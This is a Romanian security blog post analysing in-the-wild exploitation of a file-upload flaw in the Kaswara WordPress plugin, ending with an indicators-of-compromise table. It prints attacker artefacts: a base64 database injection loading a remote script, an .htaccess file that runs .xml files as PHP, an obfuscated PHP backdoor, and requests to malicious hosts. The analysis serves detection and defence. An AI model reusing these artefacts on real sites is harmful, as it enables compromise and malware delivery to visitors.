Vulnerabil Kaswara Modern WPBakery Page Builder Addons Plugin este exploatat în sălbăticie
Publicat: 2021-06-08În data de 20 aprilie 2021, prietenii noștri de la WPScan au raportat o vulnerabilitate gravă în Kaswara Modern VC Addons, cunoscut și sub numele de Kaswara Modern WPBakery Page Builder Addons. Nu mai este disponibil la Codecanyon/Envato, ceea ce înseamnă că dacă aveți acest lucru în funcțiune, trebuie să alegeți o alternativă.
Această vulnerabilitate permite utilizatorilor neautentificați să încarce fișiere arbitrare în directorul de pictograme al pluginului (./wp-content/uploads/kaswara/icons). Acesta este primul indicator de compromis (IOC) pe care prietenii noștri de la WPScan ni l-au împărtășit în raportul lor.
Capacitatea de a încărca fișiere arbitrare pe un site web îi oferă actorului rău control total asupra site-ului, ceea ce face dificilă definirea sarcinii finale a acestei infecții; astfel, vă vom arăta tot ce am găsit până acum (ne-am lăsat puțin duși de cercetare, așa că nu ezitați să treceți la secțiunea IOC dacă nu doriți să citiți).
Injecție de baze de date, aplicații Android false și alte uși din spate
Mulțumim prietenului nostru Denis Sinegubko de la Sucuri pentru că a subliniat urmărirea injecției în baza de date folosită cu acest atac.
Actorii răi ar actualiza opțiunea „kaswara-customJS” pentru a adăuga un fragment arbitrar rău intenționat de cod Javascript. Iată un exemplu pe care l-am găsit:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Acest șir codificat în base64 se traduce prin:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Și, așa cum se întâmplă de obicei cu acest tip de script, acesta va încărca în lanț o serie de alte fragmente de cod Javascript, iar sarcina utilă finală va fi fie un malvertising, fie un kit de exploatare. Acest lucru este foarte asemănător cu ceea ce a raportat Wordfence aici.
În acest caz, scriptul moare pe hxxp://double-clickd[.]com/ și nu încarcă niciun conținut rău. Am găsit Javascript suspect care apelează acest site de la începutul anului 2020 și oamenii îl blochează deja din 2018.
Aplicații false încărcate pe site
Cele 40 de aplicații Android găsite pe site-urile web pe care le-am examinat erau versiuni false ale diferitelor aplicații, cum ar fi AliPay, PayPal, Correos, DHL și multe altele, care, din fericire, au fost detectate de cei mai populari furnizori de anti-virus conform acestei analize VirusTotal.

Nu am verificat intențiile aplicației, dar o analiză rapidă a permisiunilor pe care le solicită ne poate oferi o privire asupra a ceea ce ar putea face:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Totuși, acele fișiere nu sunt încărcate imediat folosind exploit-ul Kaswara. După ce site-ul este compromis, atacatorii vor încărca mai întâi alte instrumente pentru a controla pe deplin site-ul.
Fișiere încărcate
Unele uși din spate și alte programe malware au fost găsite și pe site-uri web compromise de această vulnerabilitate. Voi împărtăși o analiză rapidă a celor mai populare și interesante în această postare. Cu toate acestea, vreau să mă concentrez mai întâi pe cel mai complex.
Redirecționare și aplicații false
Aplicațiile false pe care le-am găsit pe mai multe site-uri compromise nu au fost încărcate prin exploatarea vulnerabilității Kaswara. Acestea sunt încărcate pe site folosind un instrument de hack-tool multifuncțional, care permite atacatorului să încarce un cod de la distanță (prin furnizarea unui URL sau șir) și să redirecționeze utilizatorul către un site rău intenționat.
Fișierul poate fi ușor identificat prin prezența acestui șir: base64_decode('MTIz');error_reporting(0);
funcţie
Destul de interesant, randomizează totul în afară de asta.
Malware-ul este pe o singură linie, ceea ce este și un IOC interesant dacă căutați acest tip de anomalie de cod.

Pentru a fi mai ușor de înțeles, am decodat majoritatea părților codului, am redenumit funcțiile interesante și am înfrumusețat codul. Malware-ul include 6 funcții diferite, iar 5 dintre ele se bazează pe valorile transmise variabilei $_GET['ts']
. Pentru acest document, să luăm în considerare una dintre numeroasele instanțe pe care le-am găsit: c.php
.

/c.php?ts=kt
Acest lucru nu face nimic și va forța site-ul să returneze o eroare 500 (mai târziu în cod).
/c.php?ts=1
Schimbă valoarea flag $q1a
la true pentru a efectua o validare a codului și a trimite un mesaj OK atacatorului.
În acest caz, site-ul de la distanță răspunde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Cod”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Scrie un fișier pe server cu codul furnizat de conținutul lui $_GET["v"]
atâta timp cât $_GET["p"]
este suma de control SHA1 de 123 (rețineți că primul IOC din base64_decode('MTIz')
? este suma de control).

/c.php?ts=tt
Scrie 5 MB de „-” pe server, probabil folosit pentru a testa dacă funcția de încărcare va funcționa pe server.

/c.php?ts=dwm&h=HASH1,HASH2
Când malware-ul primește această solicitare, efectuează un test pentru a verifica dacă fișierele încărcate au fost scrise cu succes pe server. Hashe-urile lor MD5 trebuie să fie cunoscute și sunt trimise la variabila $_GET['h']
ca valori separate prin virgulă.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Descarcă un fișier de pe o serie de site-uri web ale terților și îl salvează pe server denumindu-l după ultimele 12 caractere ale md5 ale fișierului descărcat.
Aceasta este funcția folosită pentru a încărca aplicații false pe server.
Iată un exemplu de solicitare de descărcare a fișierelor rău intenționate /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirecționarea accesului
Dacă opțiunea kt
sau nicio opțiune a fost selectată, codul trece la redirecționare, care se realizează prin solicitarea unui blob JSON cu datele necesare. Apoi, redirecționează vizitatorul folosind funcția antet.

Răspunsul este astfel: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Funcția pentru a executa o solicitare cURL cu parametrii necesari este aceasta: Nimic de lux...
Și poate fi tradus în această solicitare cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
URL-ul final este, din câte am putut testa, aleatoriu, dar împărtășește aceeași caracteristică de a fi o pagină falsă pentru un serviciu sau o aplicație populară.

wp-content/uploads/kaswara/icons/16/javas.xml și wp-content/uploads/kaswara/icons/16/.htaccess
Un fișier XML nu este de obicei marcat ca o potențială amenințare, dar în acest caz, avem un fișier .htaccess special creat care schimbă modul în care îl vede serverul web:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
De fapt, îi spune Apache să înțeleagă orice fișiere javas, home sau meniuri cu xml, php sau pdf ca fișier PHP care să fie procesat în consecință și executat. Deci, oricare dintre acele fișiere prezente în aceeași structură de directoare ca acest .htaccess va fi suspect.

Fișierul javas.xml este același cu alte fișiere rău intenționate încărcate pe site. Am descoperit că diferența este că unele au una sau două linii goale la sfârșitul fișierului, ceea ce face hashingul tradițional puțin mai complicat.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Codul rău intenționat este ofuscat folosind șiruri de caractere codificate str_rot13 și base64. De asemenea, folosește valori hexazecimale și operații matematice pentru a ascunde puțin mai mult șirurile. Sarcina utilă finală este necunoscută, deoarece va crea o funcție bazată pe valorile unei solicitări POST. Cu toate acestea, sarcina utilă pare să fie aceeași de fiecare dată, deoarece se bazează pe o verificare md5 înainte de a o crea (c42ea979ed982c02632430e9e98a66d6 este hash-ul md5).
Concluzie
Deoarece aceasta este o campanie activă, la momentul scrierii acestei postări, găsim din ce în ce mai multe exemple diferite de malware care sunt aruncate pe site-urile afectate. Unele sunt doar variante ale ceea ce avem aici, în timp ce altele sunt suficient de interesante pentru o analiză mai profundă. Căutați câteva postări mai mici care vor veni în curând pentru a explora câteva dintre aceste alte exemple.
Aceasta ilustrează importanța actualizării extensiilor cu cele mai recente remedieri de securitate; dacă dezvoltatorii nu lansează remedieri în timp util sau este eliminat din depozitul WordPress.org (sau din alte piețe), vă recomandăm insistent să găsiți o alternativă mai sigură la aceasta.
Dacă sunteți îngrijorat de programele malware și de vulnerabilitatea site-ului dvs., verificați caracteristicile de securitate ale Jetpack. Jetpack Security oferă securitate cuprinzătoare și ușor de utilizat pentru site-ul WordPress, inclusiv copii de rezervă, scanare malware și protecție împotriva spamului.
Indicatori de compromis
Aici găsiți lista completă a tuturor IOC-urilor pe care le-am identificat:
Haș (SHA-1) | cale | Descrierea amenințării |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Aplicație Android falsă |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Aplicație Android falsă |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Aplicație Android falsă |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Aplicație Android falsă |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Aplicație Android falsă |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Aplicație Android falsă |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Aplicație Android falsă |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Aplicație Android falsă |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Aplicație Android falsă |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Aplicație Android falsă |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Aplicație Android falsă |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Aplicație Android falsă |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Aplicație Android falsă |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Aplicație Android falsă |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Aplicație Android falsă |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Aplicație Android falsă |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Aplicație Android falsă |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Aplicație Android falsă |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Aplicație Android falsă |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Aplicație Android falsă |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Aplicație Android falsă |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Aplicație Android falsă |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Aplicație Android falsă |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Aplicație Android falsă |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Aplicație Android falsă |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Aplicație Android falsă |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Aplicație Android falsă |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Aplicație Android falsă |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Aplicație Android falsă |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Aplicație Android falsă |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Aplicație Android falsă |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Aplicație Android falsă |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Aplicație Android falsă |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Aplicație Android falsă |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Aplicație Android falsă |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Aplicație Android falsă |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Aplicație Android falsă |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Aplicație Android falsă |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Aplicație Android falsă |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Aplicație Android falsă |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | S-a eliminat malware |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | S-a eliminat malware |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Încărcător de fișiere PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | S-a eliminat malware |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Program malware de execuție de cod de la distanță |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | S-a eliminat malware |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | S-a eliminat malware |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | S-a eliminat malware |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | S-a eliminat malware |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | S-a eliminat malware |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | S-a eliminat malware |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | S-a eliminat malware |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | S-a eliminat malware |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Program malware de execuție de cod de la distanță |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | S-a eliminat malware |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php sau ./wp-content/uploads/xeh02b.php | S-a eliminat malware |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | S-a eliminat malware |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Program malware de execuție de cod de la distanță |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | S-a eliminat malware |
wp-content/uploads/kaswara/icons/16/javas.xml | Program malware de execuție de cod de la distanță | |
– | smurfetta.ru | Domeniu rău intenționat |
http://papass.ru | Domeniu rău intenționat |